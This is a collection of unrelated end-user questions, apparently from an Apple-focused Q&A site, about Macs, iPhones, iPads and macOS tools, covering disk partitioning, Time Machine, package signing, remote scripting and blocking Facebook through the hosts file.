However it got me wondering if I have it backwards: should the Extreme be the primary base station with the connection to my cable modem?

Also, while I am here, can I use the Airport Extreme 802.11n with Time Machine? There are conflicting reports online.

(I know this is old tech but I am on a tight budget and these hand-me-downs still work well enough for me)


texts: Bypassing the Failed Disk "Read Only" Mode

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On macOS, if a disk is failing, you will sometimes get the message below. The OS will put the disk into read-only mode. You can get your files off of it but you can't write to it.

My question is, is there any way to bypass this, and put the disk BACK into normal read-write mode?


texts: How can I call/message on iPad air with SIM?

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I have purchased an iPad Air with cellular but I cannot send and receive messages.

The name of the SIM company has appeared and I have connected it with my router. There is no icon for calling either, just an icon for messages.


texts: iPad mini vs iPod touch 5g for developing

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I want to develop for iOS and I want to do some real testing of my apps on the cheapest device.

Looking at the hardware they are the same except for the screen. They are both IPS but the iPod has a retina resolution.

Here are my concerns: with the iPod touch I'm sure that my apps will run well on the iPhone 5, with the iPad mini I don't know if it will be fit to test for the Retina displays in both the 4th Gen iPad and iPhone 5.

Will one of them be better for testing apps?


texts: How to install Mountain Lion on a disk that cannot be formatted in recovery mode?

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I'm trying to do a clean install of Mountain Lion but I'm not being able to format my partition.

I previously had Lion, encrypted the disk, then upgraded to Mountain Lion, then booted into recovery mode to format & reinstall Mountain Lion.

On recovery mode (Cmd+R), when I tried to format the encrypted partition I got an error saying something like "not enough space on core something". Now the partition doesn't show up on Disk Utility; only the disk, "Macintosh HD", but I am not able to repartition it.

The Mountain Lion installer doesn't find any disk to install itself on.

I cannot boot the system either (without booting to recovery).

If I open the terminal and type diskutil list I can see that there's an Apple_CoreStorage on /dev/disk0s2, but I cannot reformat that volume ("The disk is in use by Core Storage as a Physical Volume").

How to format the disk and install Mountain Lion?


texts: It started today and happened twice, my iPhone turns itself off even battery has 15%-17% charge, I can't open it, empty battery sign appears when I plug it in to charge, it begins to charge from 15%-17%, I couldn't find the reason, it has the latest iOS update, what could it be?


texts: Automating .ics import from Mail to iCal

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I've got a setup that will take all the events in a range of dates in Outlook 2007 (at work), create an .ics file for it, and email it to my home email address. The email comes with a few .gif files as well for prettiness.

Is there a straightforward, relatively failproof way to automatically take the .ics attachemnt when it is received in Mail.app and import it into a specific iCal calendar? The calendar I'd like to use is the default calendar that pops up in the dialog box.

I've done some mucking about with Automator - it sort of works, except that sometimes it 'finds' the .ics file multiple times, and so tries to import it multiple times... if it only finds the file once, it works fine.

EDIT Jan-19 - The "Add to iCal Automatically" solution in Mail.app's preferneces is better than what I had, but still not quite enough.
1. I don't see that it allows me to specify what calendar it's adding the event(s) to.
2. It's not automatic - I would need to open the email to do it. My intention is for an unattended workflow.
3. It's too broad - I only want .ics files that meet certain criteria (ie, only in emails from my work email address), not every invitation that I receive.


texts: iOS auto-erase after 10 wrong passcode attempts: will the iCloud activation lock still work?

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After a recent and unsettling experience of having my iPhone stolen a few weeks ago, I have tried to harden the security settings on my new device. The old device has still not responded to a remote wipe request via Find My iPhone, so I presume that will never happen.

On the new device, I have turned on the "Erase data" setting in the Touch ID & Passcode settings: "Erase all data on this iPhone after 10 failed passcode attempts".

I know that, in the event the erase happens, this will disable the Find My iPhone client on the device, but will it also disable the iCloud Activation Lock? That is, will someone be able to exploit deliberately the erase process to obtain a factory clean iPhone to use and activate as he wishes?


texts: Yosemite OS: Turning a kext off and on -- consequences?

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Are there consequences to turning a kext on and off repeatedly?

Also, How can I check to make sure a specific kext is already on or off?


texts: If I reset my iPhone 6 what iOS will be installed?

texts: If I factory reset my iPhone 6 (currently running iOS 9.3.5), which version of iOS will be installed after the reset?


texts: How to best manage 1 iTunes account with SEVERAL devices in our family.

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We have 1 iTunes account for my family. We have 4 iPhones, 1 iPad, 2 MacBooks, 1 iMac, and several iPods.

I understand that each device can be configured to only sync certain playlists, so I do not have to listen to my husband's music, or kids' music, and vice versa.

What I do not understand is that when I try to sync my iPhone, I get 100 apps on my phone.  Is there a way to create playlists for apps and have only certain apps sync with certain devices?

Also, I have all of my business contacts, my work notes, etc. on my phone, which I do not want on my kids' phones.  Do I ultimately need another account?
If I need another account, can I still share everything that is already on the original account, or do I lose it? Thanks!


texts: Sign flat package with non-Apple certificate

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I have a program that I ported from the Windows environment to macOS. I would like to sign the flat installer .pkg with the same certificate I used on Windows, which is valid and granted by DigiCert.

I created a keychain in Keychain Access, imported the certificate and saved it locally as company.keychain. I looked in the informations and saw that the Common Name of the Subject is, say, 'Company & Co'. When I try to sign with:

productsign --sign "Company & Co" --keychain company.keychain --timestamp=none unsigned.pkg signed.pkg

The following error occurs:

productsign: error: Could not find appropriate signing identity for "Company & Co" in keychain at company.keychain.
An installer signing identity (not an application signing identity) is required for signing flat-style products.

I looked it up and, even if the productsign man page does not suggest it, it seems that in order to sign a flat package the certificate should be an Apple Developer ID Installer: Company name certificate issued by Apple itself. Since every post about the subject on StackExchange is pretty old I ask it again: is it so? If not, how do I understand if the certificate I have available can sign the flat package?

Notes:

If I open the keychain, the "Company & Co" entry has the extension triangle which shows the relevant private key, so it is actually a "complete" certificate.
I do not need to distribute the app on the Apple App Store, my goal is just to prevent Gatekeeper from complaining about the app not being trusted.
The package was created with packagebuild and productbuild.
If I manage to sign the package, do I also need to sign the application and the dynamic libraries shipped within?

Thank you for your attention.


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Help!
I am on mojave and trying to update to big sur, and it is showing that 12 out of 12 gb has been downloaded, But it is still saying "Installing new updates and the progress bar is not progressing.
I am attaching the image below:


texts: Macbook not showing correct available diskspace after file deletion

texts: I have deleted over 50gb on my MacBook Air and only showing 16gb as available? The screenshot shows 3 differents representations of the current disk space. I would say the 68.6gb is close to what has been actually used, so should be a lot more available


texts: Only download new email on Apple Mail app on macOS

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Is it possible to set up a new email account on Apple Mail app on macOS and only have it download new emails from the time it was set up on the Mail app?
I want to have a fresh start with an existing email address but I don't want to delete any of my old emails.
Question: how do I add an email address to the Mac Mail app and only have it display new emails?


texts: Clicking on a link in text no longer goes to my Chrome Incognito window, opens a new one instead

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When I have one Chrome window open and it is in "Incognito" mode, and then click on a link in a text file in TextEdit, it has always resulted in the opening of a new tab in the Chrome incognito window.

Suddenly last week this has changed and it opens a new Chrome window which is not Incognito.

Is there some setting in MacOS that determines this that could have been changed without me knowing it? Or is it a silent update to Chrome that's the cause of the change? Or something else?


texts: What are some good ways to free up disk space on OS X >= Yosemite?

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I am fed up with all these useless "Delete old pictures" "Delete your trash" BuzzFeed-tier articles so I am hoping for some qualified ideas here.

What I've done so far (and how much it deleted) is:

Monolingual (2.5gb) : deletes unused languages in applications.
I only kept Chinese and English. It can also delete classes for older architectures but that was only a few mb, languages is the main focus of that app. Many people say it destroys your applications but I've been using it for 5 months straight now and never experienced any problems
OmniDiskSweeper (countless gb) : like TreeSizeFree on Windows it lists directories by size.
This way I for example found about 8gb of iTunes cache files that haven't been deleted, some xCode caches and simply big folders of other applications. If you "lower your standards" every session you will eventually end up even looking for folders smaller than 100mb but it's totally worth it as e.g. 6 of them already make half a gigabyte
CCleaner (5gb) : well-known on Windows but not too popular among mac users it took care of my cache files (basically Chrome (2.2gb) and Ableton(1.5gb) but it also deleted some system caches
OnyX (300mb) : it's rather fixing stuff than deleting but it also looks for some temporary files that were meant to  be - but never have been - deleted
deleting Garage Band (maybe 3gb) : as I am using nothing but Ableton for music production I deleted the app and most of its contents except for some fine drum samples

What else can i do? Having a 120gb MBA I have no choice but to locate every single file that's not completely necessary. It's just weird that, without installing applications, I see my drive getting more and more filled up with junk (I guess). Of course a system won't just magically lose "weight", but I can remember being at 45gb of free storage 10 months ago and my computer usage hasn't really changed since. (I am at 18gb now)

I might try CleanMyMac 3 at some point but I haven't heard about it too much yet.

EDIT: I will include your ideas in OP if it helped, but the best hint still gets a tick tho


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I'm trying to upgrade my MacBook's RAM to 8GB (2x4 GB), but somehow when I install the new cards I got the 3 beeps + 5 seconds pause. The 4GB cards were already working in another early 2011 MacBook.
The point being that, if I install the memory in a mid-2009 in a 2GB+4GB configuration, the Mac runs well. I have tried to switch cards and slots and it works, too.
Does anyone know what's happening?


texts: Use a bluetooth headset JUST as a microphone?

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This is hopefully a pretty simple question. Is it possible to configure a bluetooth headset to act as only a microhphone? I am using OSX Mountain Lion. I would assume the process would be something like:

Pair the headset with OSX
Set audio input to be the device instead of line in
Set audio output to be the normal audio output, and not the bluetooth headset

If there are any known issues or headsets I should stay away from, I would appreciate a heads up as well. We have a new HTPC, a mac mini connected to our TV via HDMI for video/audio, and we were hoping to install Rosetta Stone for the family to use in the living room. Wireless is a must for the microphone!


texts: Where is GNU info files stored on Mac OSX?

texts: For example, where could I find the info document of bash on mac OSX. I only know the man page is stored at /usr/share/man/ but doesn't know where to find the info file.


texts: NTFS drive is not mounted after changing /etc/fstab

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I edited the fstab file in order to enable writing on ntfs drives and added all three of my external ntfs drives to it. Two of them work fine.

The third one which I added by label because it did not have a uuid, however, is not mounted after editing.
I am on El Capitan by the way.


texts: How do I install an application from a .dmg disk image?

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I've downloaded Firefox and it's now sitting on my desktop as Firefox.dmg. When I double click on Firefox.dmg it opens up a window with Firefox in it so I can use it - does this mean the application has been installed?

Community Wiki'd the question because I think it's a worthwhile question to have on the site for pointing people to, it's not exactly intuitive to do and not a question I think I deserve any rep from.


texts: How to block access to alarm app, after snooze, from a locked state?

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Suppose that my iPhone is locked. The alarm rings. Turns out I can tap the alarm snooze notification bubble, and that will take me to the alarm app, where all alarm settings can be read and changed.

This seems like a security hole — I do not wish to allow unlocked access to information in my Alarm app.

What is the best way to block this behavior?


texts: Alt + left/right on my terminal moves my cursor word by word, however this does not work with backspace. Would there be a way to accomplish this?

texts: I use karabiner-elements on sierraOS, but not sure if I can accomplish this in there.


texts: How can I create an installable OS X Leopard DVD from a running system?

texts: I need to reinstall Leopard on a computer although I don't have the install disks. Leopard is still installed on the computer. Also the disk drive doesn't work. What options are there? Can I create a bootable USB somehow?


texts: What types of WiFi does the iPod touch 4th generation use?

texts: I am buying a router.  But it says 2.4 GHz is that not that great.  So I want to know if it supports.  Just curious what types of WiFi it supports: A, B, G, and/or N.


texts:
I am Robert and have been using macbook Pro for quite sometime. However the color display had been a problem from the time of purchase. I tried different ways to calibrate but to no avail.
Finally tried Colorsync Utility option for repair and first aid. It indicated that the system has 4 bad profiles which the automatic first aid did not fix.
The bad profiles are;

Library/Application Support/Adobe/Color/Profiles/RedBlueYellow.icc

Library/Application Support/Adobe/Color/Profiles/smokey.icc

Library/Application Support/Adobe/Color/Profiles/TealMagenta.icc

Library/Application Support/Adobe/Color/Profiles/TotalLinkPreview.icc

I have been regularly updating the OS and now am on Yosemite...

Could someone help me to set it right please.


texts: Two formulas in the same cell in Apple's Numbers

texts: In Apple's Numbers, I have a table which calculates GAP between two values in two rows (red), I would like even to calculate gap between calculated values in the same cell (blue), is it possible?


texts:
My iMac rarely has WiFi turned on since I use Ethernet, however Location Services seem to need a WiFi connection (they both connect to the same router, so I fail to see the logic there… but there we go).

Is there a way to override or set my location so that apps which use Location Services can still get a location?


texts: Preview in Lion fails when any document opened has changed

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In Lion Preview.app, if I have many image files open in a single preview window (so that I can scroll through them) and one of them changes on disk (e.g., I remade the image with a plotting program or convert), instead of loading the new image, the whole preview window shows an empty background for all images, even those that have not changed.

In Snow Leopard and Leopard, preview would just reload the new image in place.

Is there any way to fix the Lion version of Preview?

EDIT: related post refresh Preview from command line


texts: Time Machine says "There isn't enough space" and says I need 50 petabytes available to back up a one terabyte drive

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Time Machine hasn't backed up for a week. It says "There isn't enough space," and yet there is plenty.
I'm backing up to a Western Digital My Passport with 5 TB capacity and 4.81 TB free. Time Machine correctly reports there is 4.81 TB.
I have a 1 TB hard drive on my MBP running Catalina. If I click on the options for Time Machine it says: "Estimated size of full backup: 100.51 GB."
However, when I click on the red "information" "i" next to the Latest backup, it reports that it needs 50.21 PB (yes, PB) of space. What in the world? I already have things like ~/Dropbox excluded.


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I have been trying to download bootcamp for a while now, but every time it gets stuck on Partitioning disk... and "The system may be unresponsive"

I have already looked at applesupport for this but they say that there should be the disks OSXRESERVED and BOOTCAMP, but these are not showing up for me.


texts: Mac only approves password on second entry

texts: Every time I try to open my Mac, it doesn't approve my password the first time but approves it the second time. What is the reason?


texts:
Using iOS6 is there a way to show or display music controls inside the notifications bar for quick access?

Note: I am looking for a native way to do this. If there is not a way I would welcome 3rd party apps that do this function, however, I prefer the standard music player and do not want to change the music player.


texts: Running an AppleScript on a remote computer using ssh

texts: How would I execute an AppleScript that is saved on my computer on a remote computer?


texts: I just re-downloaded El Capitán off of the App Store for the purposes of transferring it to another machine via USB.  When it was done downloading, it automatically launched the installer asking me to click on continue to start installing El Capitán.  I do not wish to reinstall, so I quit the installer, but now I cannot find it.  Where would the App Store have downloaded it to?


texts: Is it possible to get the internet connection via Bluetooth (PAN) on an iPhone 3gs ? Note: I'm not asking about sharing the iPhone's internet connection via bluetooth to other devices; I want to do the opposite.


texts: Can I safely remove a broken recovery partition?

texts:
Can I remove the broken recovery partition?

$ diskutil list
/dev/disk0
   #:                       TYPE NAME                    SIZE       IDENTIFIER
   0:      GUID_partition_scheme                        *4.0 TB     disk0
   1:                        EFI EFI                     209.7 MB   disk0s1
   2:                  Apple_HFS iMac HD                 4.0 TB     disk0s2
   3:                 Apple_Boot                         577.3 MB   disk0s3

And

$ diskutil verifyVolume disk0s3
Error starting file system verification for disk0s3: Unrecognized file system (-69846)

I am running Mavericks, original installation was Snow Leopard, on an iMac mid 2010.


texts: How do I run an OS X command script on remote Xserves from a desktop OS X script?

texts:
The answer to an earlier question, Access and control home office network, iMacs, and Xserves, left me with a new problem. To review, I have a computing environment comprised of:

27" iMac with dual cores running Mac OS X 10.6.8
2 Xserves each with 2 quad cores running Mac OS X Server 10.6.8
All networked over Ethernet to a Time Capsule.

As this question has more general application than the earlier one, I thought it merited its own post.

I need to launch and shut down a service (in my case Wolfram Lightweight Grid Manager but this really applies to any service, program, or application) which needs to run on a server (or more generally, any other machine) attached to my network (or again more generally, any network to which one has authorized access).

I need to have that script:

Access and log on to 2 Xserves on my local network and there
Launch a script on the Xserves that will in turn launch Wolfram Lightweight Grid Manager

Note: I have this script. It currently runs from launchd when I turn on the Xserves. I just need to control its running and ensure it is not running more frequently than needed so the Xserves can sleep (the grid manager appears to keep the Xserves from sleeping).

At some later point, I'll need to do the same thing as above, but turn off the service on the remote servers.

  Q U E S T I O N S:

  How do I go about this?
  How do I get to a remote machine, especially as it does not likely have a fixed IP address?

I do have machine names and logon credentials.

I've very rarely done this sort of thing.

References or examples welcome.

My OS X server scripting never amounted to much, so any guidance welcome.


texts: How to resize the main volume to its original or full size?

texts:
I followed the instructions mentioned in one of the threads on this community to expand the Macintosh HD volume to its full volume. I rebooted with cmdR to Recovery Mode, opened Terminal, entered diskutil cs list and it said: "No Core storage logical volume found". What does that mean and how to get through?

I need to merge the blank space of my HD with Macintosh HD and make it one. Screenshot is attached.

Update:

The output from diskutil list is below.

/dev/disk0 (internal, physical):
   #:                       TYPE NAME                    SIZE       IDENTIFIER
   0:      GUID_partition_scheme                        *500.1 GB   disk0
   1:                        EFI EFI                     209.7 MB   disk0s1
   2:                  Apple_HFS Macintosh HD            189.0 GB   disk0s2
   3:                 Apple_Boot Recovery HD             650.0 MB   disk0s3

Output from sudo gpt -r show /dev/disk0:

start       size  index  contents
          0          1         PMBR
          1          1         Pri GPT header
          2         32         Pri GPT table
         34          6
         40     409600      1  GPT part - C12A7328-F81F-11D2-BA4B-00A0C93EC93B
     409640  369140640      2  GPT part - 48465300-0000-11AA-AA11-00306543ECAC
  369550280    1269536      3  GPT part - 426F6F74-0000-11AA-AA11-00306543ECAC
  370819816  605953319
  976773135         32         Sec GPT table
  976773167          1         Sec GPT header

Output from sudo fdisk /dev/disk0:

Disk: /dev/disk0    geometry: 60801/255/63 [976773168 sectors]
Signature: 0xAA55
         Starting       Ending
 #: id  cyl  hd sec -  cyl  hd sec [     start -       size]
------------------------------------------------------------------------
 1: EE 1023 254  63 - 1023 254  63 [         1 -  976773167] <Unknown ID>
 2: 00    0   0   0 -    0   0   0 [         0 -          0] unused
 3: 00    0   0   0 -    0   0   0 [         0 -          0] unused
 4: 00    0   0   0 -    0   0   0 [         0 -          0] unused


texts: How do I get calls organized by phone number?

texts:
Hi I would like to organize my recent call list by number instead of the default sorting by date. Or I would like to see the list of previous calls & messages with a phone number.
Currently I am just going back in history to see if I received a call from someone in the past couple days. It will be great if order by phone number/contact option is available

I am using Iphone 5, iOS 8.4.0

Android phones are able to do this. It is quite useful


texts: Does replugging a Thunderbolt display necessitate a system restart?

texts: Is there any danger in hot-plugging and un-plugging an external (Apple) Thunderbolt monitor (from USB-C), or is it safer to shutdown the computer first?


texts:
How am I supposed to deal with .tar files with OS X Lion? I'm trying to install Ruby Version Manager, but Lion is throwing a fit about not being able to expand the tar file. This isn't the first time this has happened either.

Any tar command gives me this error:

  Launch of "tar" failed: the PowerPC architecture is no longer
  supported.

Any help is greatly appreciated.

Update:

  which tar

outputs

  /usr/bin/tar


texts: Applescript to find application path from partial app name?

texts:
How do I get the path to a running application using part of the app name. (eg. 'Acrobat' in 'Adobe Acrobat Reader DC') This is what I tried but it's incorrect. (Note: Not sure if it changes if multiple instances are running, but I only want a single POSIX path returned)
tell application "System Events",
  if (get name of every application process) contains "Acrobat" then
    return POSIX path of (path to ((get name of every application process) contains "Acrobat"))
  end if
end tell


texts: Turning off 2.4GHz on Apple Airport Extreme

texts:
If you turn off 2.4GHz in the Apple Airport Extreme, it pops up an alert that says

  Turning off 2.4GHz Wi-Fi networking on this base station can adversely affect the overall performance of your network.

I ignored the message and turned off 2.4GHz. I have not experienced any issues, but what "overall performance" problems can happen here? Is Apple referring to problems with range, device compatibility, or something else?


texts: Do I just need a VGA to RCA adaptor to stream video from my macbook to TV?

texts:
I want to get the adaptor to stream videos from my macbook to my TV.

I already have the Apple adaptor from DVI to VGA: http://store.apple.com/us/product/MB572Z/A?fnode=MTY1NDA4Mw&mco=MTM3NTA3MDU

I know need an adaptor from VGA to RCA.. I guess this one: http://www.bzsell.com/product_pic/10/05/16/flag_129185411642265983.JPG

But the guy at the store, told me that it is not that easy. If the TV is old (and it is), I need a video converter... (around 50 euros)

is that true ?
thanks


texts: How to block Facebook app and facebook.com from loading on an iOS device

texts:
On a Windows or Mac computer, I'd edit the hosts file:

127.0.0.1     facebook.com
127.0.0.1     www.facebook.com
127.0.0.1   login.facebook.com
127.0.0.1   www.login.facebook.com
127.0.0.1   fbcdn.net
127.0.0.1   www.fbcdn.net
127.0.0.1   fbcdn.com
127.0.0.1   www.fbcdn.com
127.0.0.1   static.ak.fbcdn.net
127.0.0.1   static.ak.connect.facebook.com
127.0.0.1   connect.facebook.net
127.0.0.1   www.connect.facebook.net
127.0.0.1   apps.facebook.com

# Block Facebook IPv6
#fe80::1%lo0     localhost
::1     facebook.com
::1     www.facebook.com
::1     login.facebook.com
::1     www.login.facebook.com
::1     fbcdn.net
::1     www.fbcdn.net
::1     fbcdn.com
::1     www.fbcdn.com
::1     static.ak.fbcdn.net
::1     static.ak.connect.facebook.com
::1     connect.facebook.net
::1     www.connect.facebook.net
::1     apps.facebook.com
::1     edge-star6-shv-02-ams2.facebook.com

How would I do this on an iOS device (not jailbroken). Can I do this with a provisioning profile?


texts: Visibility Issues with Mail and iCal in OS X Lion

texts:
I recently installed Lion (Mac OS X 10.7.3) on my early 2008 MacBook. I know many of the color changing options in Mail and iCal have been taken away (probably due to app syncing or Cocoa issues). I can live with this as long as the result is legible.

In Mail, the list of Mailboxes is listed in a light blue color, with black letters which turn a transparent white or silver when selected - difficult to read. My work-around has been to list my more frequently used Mailboxes in the toolbar, but I have too many Mailboxes to put them all up there. Any suggestions?

In iCal, I can live with all of the ugly artificial leather stuff, but my main issue is the definition between dates and days in each view (Day, Week, or Month) is so light it is almost invisible. Only when an entry is made is the data legible but the times and dates above and below are not. Again, any suggestions? Do I need to upgrade my laptop to get a higher resolution?


texts: Reboot and Reinstall OSx Lion with Snow Leopard currently installed on my Mac

texts:
I have Snow Leopard installed and only have the original disk of Lion that came with the Mini Mac. The Mac won't boot and stalls during the reboot phase. Obviously I don't have a recovery partition with Snow Leopard.

My query is twofold. First can I just put the disk in the dvd drive and try rebooting from the disk. Second, will I lose data and apps? If so appreciate guidance on how.


texts: Looking for Software to Scan or Convert to Searchable and Signable PDF

texts:
I have the occasional need to scan and/or convert scanned images into PDF format. OS X Mountain Lion does this natively, but as far as I can tell it's just an image wrapped in a PDF, so text selection, search, and signing the document isn't possible.

I've tried out the latest free trial of Adobe Acrobat Pro, which has scan to PDF functionality that does precisely what I want. Combined with its ClearScan option I've managed to get pretty decent looking PDFs at a reasonable size that I can search, select text from, and digitally sign. Awesome! Except it costs $199, which is a little steep for very occasional use.

That being said, is there anything else out there that has similar functionality at a lower price point? I'm not expecting free.

One app that keeps coming up in my search is PDFScanner, which makes the resulting PDF searchable by running it through OCR, but from what I can tell it's the equivalent of Adobe's searchable image format. One important requirement is being able to digitally sign the resulting PDF, but it's not clear if PDFScanner can do this. Text selection is nice but not absolutely necessary.


texts:
is it possible to remove Dropbox's icons from the Finder context menu ?

I just want to be able to see the text and not the icons. I can't find anywhere in the settings to do this. Any other possible ways?


texts: How can I run 3 4K monitors on my 2015 MBP

texts:
I just seen a video of a guy on YouTube running 6 4K monitors natively on his MBP but it didn't go into details as far as cabling/hub setup. How could I run just 3 4K at 60hz? I am confused as to the best way to get 2 thunderbolt into 3 DisplayPort. I haven't picked out a specific monitor yet but they will be DisplayPort monitors.

I have a 2015 MBP with the AMD graphics card.

I am not interested in eGPU options.


texts: Want to view images in sequence and delete

texts: I have downloaded photos to an iMac from camera into folders, not iPhoto.  I want to view the images on full screen in sequence and delete images as I go through them. I have come from Windows where there is a program that does that, but cannot find similar in the iMac.


texts: Install Windows10 on older mac with boot camp does not provide install option

texts:
I'm trying to install Windows10 on my old MBP (Model: MacBookPro10,1). I prepared a USB-Stick formatted as FAT32 with a MBR. I followed this documentation (https://support.apple.com/en-gb/guide/bootcamp-assistant/bcmp09f5f773/6.1/mac/10.14) and Step 4 says:

At the Select Tasks step, select all the tasks, then click Continue.

But in my case, the last task is not available. What do I need to do?
I'm running macOS Mojave Version 10.14.6 (all updates are installed) on that machine.

--
Update: diskutil list cli output
$>diskutil list
/dev/disk0 (internal, physical):
   #:                       TYPE NAME                    SIZE       IDENTIFIER
   0:      GUID_partition_scheme                        *500.3 GB   disk0
   1:                        EFI EFI                     209.7 MB   disk0s1
   2:                  Apple_HFS Mother                  499.4 GB   disk0s2
   3:                 Apple_Boot Recovery HD             650.0 MB   disk0s3


texts:
So there is no "good" way of seeing all my purchased items in iTunes (only the very cubersome "purchase history" screen). Is there, however, a way to download all my purchases to the computer? e.g. when I install iTunes on a new computer?

There is the store/check for available downloads button. However, it has no effect in my computer and I suspect that it's not intended for apps, but for music/videos purchased from iTunes (which are not available at my country).

Is there another way? Maybe even an external application?


texts: RAID 0 setup does not contain full disk space from slices

texts:
I just setup a striped RAID 0 on my 2012 MacBook Pro with two SSDs.  One drive is 256 GB and the other is 500 GB, but my RAID disk is only 510 GB.  Disk2 is my RAID disk, with disk0 and disk1 being slices.

Does anyone know what's going on and how to fix this?

I erased all disks prior to setting this up.  See attached image from diskutil list output.

I used the OS X Yosemite Disk Utility to setup the RAID and now I am running El Capitan.


texts: macOS Sierra /usr/libexec/lsd crashes during boot, system won't start

texts:
After a installing a system update my Mac mini won't boot at all, or maybe will but only after a few hours of being stuck at boot screen.

I found the following in /var/log/system.log (repeats a lot of timeS):

Nov  8 08:30:03 mac com.apple.xpc.launchd[1] (com.apple.lsd[65134]): Service exited due to signal: Segmentation fault: 11 sent by exc handler[0]
Nov  8 08:30:03 mac logd[79]: metadata shared cached uuid is null (using logd's shared cache info) lsd (65135)
Nov  8 08:30:03 mac logd[79]: Failed to harvest strings for pathless uuid '00000000-0000-0000-0000-000000000000'
Nov  8 08:30:03 mac ReportCrash[65063]: Saved crash report for lsd[65134] version 775.8.2 to /Library/Logs/DiagnosticReports/lsd_2016-11-08-083003_mac.crash
Nov  8 08:30:04 mac logd[79]: metadata shared cached uuid is null (using logd's shared cache info) logKextDaemon (65136)
Nov  8 08:30:04 mac logd[79]: Failed to harvest strings for pathless uuid '00000000-0000-0000-0000-000000000000'
Nov  8 08:30:04 mac com.apple.xpc.launchd[1] (com.apple.lsd[65135]): Service exited due to signal: Segmentation fault: 11 sent by exc handler[0]
Nov  8 08:30:05 mac logd[79]: metadata shared cached uuid is null (using logd's shared cache info) lsd (65137)
Nov  8 08:30:05 mac logd[79]: Failed to harvest strings for pathless uuid '00000000-0000-0000-0000-000000000000'
Nov  8 08:30:05 mac com.apple.xpc.launchd[1] (com.fsb.logKext[65136]): Service exited with abnormal code: 1
Nov  8 08:30:05 mac com.apple.xpc.launchd[1] (com.fsb.logKext): Service only ran for 0 seconds. Pushing respawn out by 10 seconds.
Nov  8 08:30:05 mac ReportCrash[65063]: Saved crash report for lsd[65135] version 775.8.2 to /Library/Logs/DiagnosticReports/

lsd_2016-11-08-083005_mac.crash

Crash report for lsd contains the following stack trace:

Thread 12 Crashed:: Dispatch queue: com.apple.lsd.database
0   com.apple.LaunchServices        0x000000011126ab81 _UTTypeRemove + 76
1   com.apple.LaunchServices        0x0000000111218fe3 _LSBundleRemove + 500
2   com.apple.LaunchServices        0x0000000111241565 _LSServerItemInfoRegistration + 1765
3   com.apple.LaunchServices        0x0000000111243615 ___ZL23_LSDispatchRegistrationP9LSContextPKcPK18LSRegistrationInfoPK8__CFDataS8_PK7__CFURLPK14__CFDictionaryPjPPK9__CFArrayPh_block_invoke + 188
4   com.apple.LaunchServices        0x000000011123c5ab _LSDispatchRegistration(LSContext*, char const*, LSRegistrationInfo const*, __CFData const*, __CFData const*, __CFURL const*, __CFDictionary const*, unsigned int*, __CFArray const**, unsigned char*) + 470
5   com.apple.LaunchServices        0x000000011123b248 _LSRegisterLibrary + 918
6   com.apple.LaunchServices        0x0000000111229f2d _LSRegisterLibraryBundle + 54
7   com.apple.LaunchServices        0x00000001111f0ccb -[LSDatabaseBuilder registerLibraries] + 271
8   libdispatch.dylib               0x0000000112381f5f _dispatch_call_block_and_release + 12
9   libdispatch.dylib               0x0000000112379128 _dispatch_client_callout + 8
10  libdispatch.dylib               0x0000000112391413 _dispatch_queue_concurrent_drain + 1423
11  libdispatch.dylib               0x0000000112381d5a _dispatch_queue_invoke + 1071
12  libdispatch.dylib               0x0000000112388158 _dispatch_queue_override_invoke + 369
13  libdispatch.dylib               0x000000011237aee0 _dispatch_root_queue_drain + 476
14  libdispatch.dylib               0x000000011237acb7 _dispatch_worker_thread3 + 99
15  libsystem_pthread.dylib         0x0000000112732736 _pthread_wqthread + 1299
16  libsystem_pthread.dylib         0x0000000112732211 start_wqthread + 13

Does anybody know how to fix this?


texts: How to enable powerchime on Big Sur when power cable disconnects

texts:
By default, a power chime sounds when I plug in the power cable to my Macbook Pro. It is a nice thing to let me know when the machine is plugged in.
But nothing similar happens when the power cable disconnects.
Sometimes the power plug accidentally disconnects because I turned the computer around or move a little bit and I can not notice it if I am concentrated on other things or working on fullscreen. After a while, I realize the MacBook is running on battery and the battery is drained. This happens a lot and it unnecessarily ages the battery.
Is there a way to make macOS play a sound when the power cable disconnects (like it does when the power cable is plugged in) or/and show a notification on the screen?


texts: iPhone 5 and MacBook Air take quite a few attempts to tether

texts:
I used to have an iPhone 4 which, when WiFi hotspot was turned on, would connect to my Air (Lion) almost instantaneously.

I have now upgraded to an iPhone 5 (iOS 7) and the process seems to rarely work. I must turn Wifi and Hotspot off and on maybe 10 times in a row before they connect. Sometimes it wont work and at all. Other times it will randomly disconnect.

Would anyone know why this is occurring?

Thanks!


texts:
I am trying to roll back my OS from High Sierra to Sierra. When I attempt to install it I get this;

So I assumed I had to format my "Macintosh HD" partition to procced. However, when I tried to do that I got;

The laptop is still working fine, so clearly it was nothing dreadful, but I'm no futher with my attempt to roll back. Any advice?


texts: Is it possible to move the mouse by one pixel on a retina display?

texts:
I was trying to use DigitalColor Meter to find the color of a pixel on my retina MacBook Pro, but I found that it was impossible to get the color that I wanted because the smallest that I could move the mouse by was two pixels (in either direction).  If you zoom in using the control-scroll trick and disable pixel antialiasing (in the Accessibility preferences), you'll also see that this is the case.

Is it possible to move the mouse by just one pixel on a retina display?  It seems like the ability to do so would make the mouse movement smoother.  I guess to solve my color problem, I could just take a screenshot and zoom in on that, but it's a lot of extra work.


texts: Can you type a tilde on the key under Esc on a European ISO keyboard set to US?

texts:
I am forced to use MacBook Pro 2018. I am located in a German-speaking country, so the autodetected (or pre-installed?) keyboard layout was German.

I work as an English-speaking programmer, so I need e.g. the tilde ~. I have added the US keyboard layout. But for some reason, on a Mac, that is next to Shift. The button on the laptop's keyboard, where ~ normally is, on Mac it writes §.

How can I set a US keyboard on a Mac with this layout that can be found in Linux?

Source


texts: External Monitor is detected but displays black screen on MBP 15" 2017

texts:
I have a 15" LTN156HL01 Lcd display which I turned into an external monitor by using a controller board.
Here's the thing:

It works perfectly on my PS4.
It works perfectly with my brother's MacBook Air.
It even works when connected to my Canon 80D.

But when connected to my MBP 15" the backlight of the external monitor lights up but the image is totally black.
However my Mac detects the screen... even if I change resolution, the problem persists.

Then one day I tried to reboot the MBP in safe-mode and when restarted properly... Hurrah! the screen was actually working super fine.
But when I unplugged it and replugged it... here we are again.. black screen.

With these test, I realized that the monitor works, the controller board works fine and that it can be used with my MBP 15". The problem is not with the hardware, it has to be related with software or OS.
If not, I cannot explain why it worked that time...
What can it be? How can I solve it?

Thank you in advance!


texts: Is there a way to span one app over more than one space?

texts:
I'm using Citrix receiver with only one (laptop) display.

I figured out that if I would be able to span this application over (for example) three different spaces it would be a lot easier for me to work through Remote Desktop. Is there a way to do that?


